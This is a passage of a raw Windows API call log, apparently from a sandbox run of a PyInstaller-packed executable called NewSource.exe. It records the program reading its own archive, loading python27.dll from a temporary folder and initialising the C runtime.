0x1034898 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x28) returned 0x1033f68 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x48) returned 0x1034638 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x1a) returned 0x1037e88 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2e) returned 0x1038a80 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x56) returned 0x10304a0 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2a) returned 0x1038d58 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2e) returned 0x1038bd0 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x44) returned 0x1037eb0 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x1c) returned 0x1034980 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x182) returned 0x103f980 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x7c) returned 0x1034bc8 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x36) returned 0x10349a8 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x3a) returned 0x1034b30 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x90) returned 0x10346b8 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x24) returned 0x1034b78 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x30) returned 0x1038cb0 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x36) returned 0x1034480 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x48) returned 0x1033be8 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x52) returned 0x1032ef8 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x3c) returned 0x1033fb0 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0xd6) returned 0x103fb10 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2e) returned 0x1038c40 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x1e) returned 0x1033c38 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2c) returned 0x1038ab8 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x50) returned 0x1033ff8 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x4e) returned 0x1038858 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x24) returned 0x10344c0 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x42) returned 0x10388b0 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x20) returned 0x103fbf0 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x38) returned 0x103fc18 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x24) returned 0x103fc58 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x6e) returned 0x103fc88 [0045.273] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103ee40 | out: hHeap=0x1030000) returned 1 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x800) returned 0x103e300 [0045.273] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0045.273] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd581c9) returned 0x0 [0045.273] GetStartupInfoW (in: lpStartupInfo=0x9bf8c0 | out: lpStartupInfo=0x9bf8c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x8) returned 0x103c130 [0045.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0045.273] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x42) returned 0x103fd00 [0045.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x103fd00, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpUsedDefaultChar=0x0) returned 65 [0045.274] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x4078) returned 0x103fd50 [0045.274] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9ba8bc, nSize=0x1000 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe")) returned 0x40 [0045.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x9bd8dc, cbMultiByte=4096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpUsedDefaultChar=0x0) returned 65 [0045.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0045.274] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x16) returned 0x1032f58 [0045.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x1032f58, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0045.274] GetEnvironmentVariableW (in: lpName="_MEIPASS2", lpBuffer=0x9b88a8, nSize=0x2000 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 0x2c [0045.277] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpDst=0x9ba8a8, nSize=0x2000 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 0x2d [0045.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0045.277] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2e) returned 0x1038af0 [0045.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x1038af0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpUsedDefaultChar=0x0) returned 45 [0045.277] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x2d) returned 0x1038b28 [0045.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0045.277] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x16) returned 0x1034c50 [0045.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x1034c50, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0045.277] SetEnvironmentVariableW (lpName="_MEIPASS2", lpValue=0x0) returned 1 [0045.277] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1034c50 | out: hHeap=0x1030000) returned 1 [0045.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bc694, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0045.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bc680, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0045.277] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x38) returned 0x103ef50 [0045.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bc538, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0045.278] GetFileType (hFile=0xe8) returned 0x1 [0045.278] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7e8 | out: lpNewFilePointer=0x0) returned 1 [0045.278] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1043dd0 [0045.278] ReadFile (in: hFile=0xe8, lpBuffer=0x1043dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc764, lpOverlapped=0x0 | out: lpBuffer=0x1043dd0*, lpNumberOfBytesRead=0x9bc764*=0x1000, lpOverlapped=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7c8 | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7ac | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7c8 | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7f8 | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7a8 | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc75c | out: lpNewFilePointer=0x0) returned 1 [0045.279] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x88cff5, lpNewFilePointer=0x0, dwMoveMethod=0x9bc77c | out: lpNewFilePointer=0x0) returned 1 [0045.279] ReadFile (in: hFile=0xe8, lpBuffer=0x1043dd0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x9bc704, lpOverlapped=0x0 | out: lpBuffer=0x1043dd0*, lpNumberOfBytesRead=0x9bc704*=0x60, lpOverlapped=0x0) returned 1 [0045.280] htonl (hostlong=0x55208400) returned 0x842055 [0045.280] htonl (hostlong=0x1b000000) returned 0x1b [0045.280] htonl (hostlong=0xfd698300) returned 0x8369fd [0045.280] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7d8 | out: lpNewFilePointer=0x0) returned 1 [0045.280] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x8819fd, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7f8 | out: lpNewFilePointer=0x0) returned 1 [0045.280] htonl (hostlong=0xb60000) returned 0xb600 [0045.280] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0xb600) returned 0x1044dd8 [0045.281] htonl (hostlong=0xb60000) returned 0xb600 [0045.281] ReadFile (in: hFile=0xe8, lpBuffer=0x1044dd8, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x9bc7dc, lpOverlapped=0x0 | out: lpBuffer=0x1044dd8*, lpNumberOfBytesRead=0x9bc7dc*=0xb600, lpOverlapped=0x0) returned 1 [0045.281] htonl (hostlong=0xb60000) returned 0xb600 [0045.282] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1043dd0 | out: hHeap=0x1030000) returned 1 [0045.282] CloseHandle (hObject=0xe8) returned 1 [0045.282] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1038b28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0045.282] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5c) returned 0x103ef90 [0045.282] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1038b28, cbMultiByte=-1, lpWideCharStr=0x103ef90, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 45 [0045.282] SetDllDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 1 [0045.282] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103ef90 | out: hHeap=0x1030000) returned 1 [0045.282] htonl (hostlong=0x20000000) returned 0x20 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x20000000) returned 0x20 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x40000000) returned 0x40 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.282] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x40000000) returned 0x40 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x20000000) returned 0x20 [0045.283] htonl (hostlong=0x30000000) returned 0x30 [0045.283] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x44) returned 0x103ef90 [0045.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103ef90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0045.283] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x8a) returned 0x103f060 [0045.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103ef90, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest") returned 68 [0045.283] LoadLibraryA (lpLibFileName="kernel32") returned 0x75e90000 [0045.283] GetProcAddress (hModule=0x75e90000, lpProcName="CreateActCtxW") returned 0x75ea7840 [0045.283] GetProcAddress (hModule=0x75e90000, lpProcName="ActivateActCtx") returned 0x75ea77e0 [0045.283] CreateActCtxW (pActCtx=0x9bc888) returned 0x0 [0045.556] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0045.556] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xd88a60 | out: hActCtx=0x0, lpCookie=0xd88a60) returned 1 [0045.557] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103ef90 | out: hHeap=0x1030000) returned 1 [0045.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x9bb8ac, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0045.557] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x76) returned 0x103f060 [0045.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x9bb8ac, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=58 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll") returned 58 [0045.557] LoadLibraryExW (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll", hFile=0x0, dwFlags=0x8) returned 0x72ef0000 [0071.867] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2ad0000 [0071.868] GetEnvironmentVariableA (in: lpName="__MSVCRT_HEAP_SELECT", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0x0 [0071.869] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.869] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0071.869] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0071.869] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0071.869] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0071.870] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.870] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.871] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.871] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.871] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.871] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.871] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.871] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.871] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.871] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.871] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.872] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.872] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.872] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.872] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.872] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0071.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x214) returned 0x2ad05a8 [0071.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.873] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0071.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0071.873] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0071.873] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0071.873] GetCurrentThreadId () returned 0x9b0 [0071.873] GetStartupInfoA (in: lpStartupInfo=0x9bb3e0 | out: lpStartupInfo=0x9bb3e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0071.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x800) returned 0x2ad07c8 [0071.873] GetStdHandle (nStdHandle=0xfffffff6) returned 0xffffffff [0071.873] GetStdHandle (nStdHandle=0xfffffff5) returned 0xffffffff [0071.873] GetStdHandle (nStdHandle=0xfffffff4) returned 0xffffffff [0071.873] SetHandleCount (uNumber=0x20) returned 0x20 [0071.874] GetEnvironmentStringsW () returned 0x1058628* [0071.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0071.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x565) returned 0x2ad0fd0 [0071.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2ad0fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0071.874] FreeEnvironmentStringsW (penv=0x1058628) returned 1 [0071.874] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0071.874] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0071.874] GetLastError () returned 0x6 [0071.874] SetLastError (dwErrCode=0x6) [0071.874] GetLastError () returned 0x6 [0071.874] SetLastError (dwErrCode=0x6) [0071.875] GetLastError () returned 0x6 [0071.875] SetLastError (dwErrCode=0x6) [0071.875] GetACP () returned 0x4e4 [0071.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x220) returned 0x2ad1540 [0071.875] GetLastError () returned 0x6 [0071.875] SetLastError (dwErrCode=0x6) [0071.875] IsValidCodePage (CodePage=0x4e4) returned 1 [0071.875] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9bb3e0 | out: lpCPInfo=0x9bb3e0) returned 1 [0071.875] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9baeac | out: lpCPInfo=0x9baeac) returned 1 [0071.875] GetLastError () returned 0x6 [0071.875] SetLastError (dwErrCode=0x6) [0071.875] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x9bae3c | out: lpCharType=0x9bae3c) returned 1 [0071.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x9bac28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歈歎ｊ瑍Ā") returned 256 [0071.876] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歈歎ｊ瑍Ā", cchSrc=256, lpCharType=0x9baec0 | out: lpCharType=0x9baec0) returned 1 [0071.876] GetLastError () returned 0x6 [0071.876] SetLastError (dwErrCode=0x6) [0071.876] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0071.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, 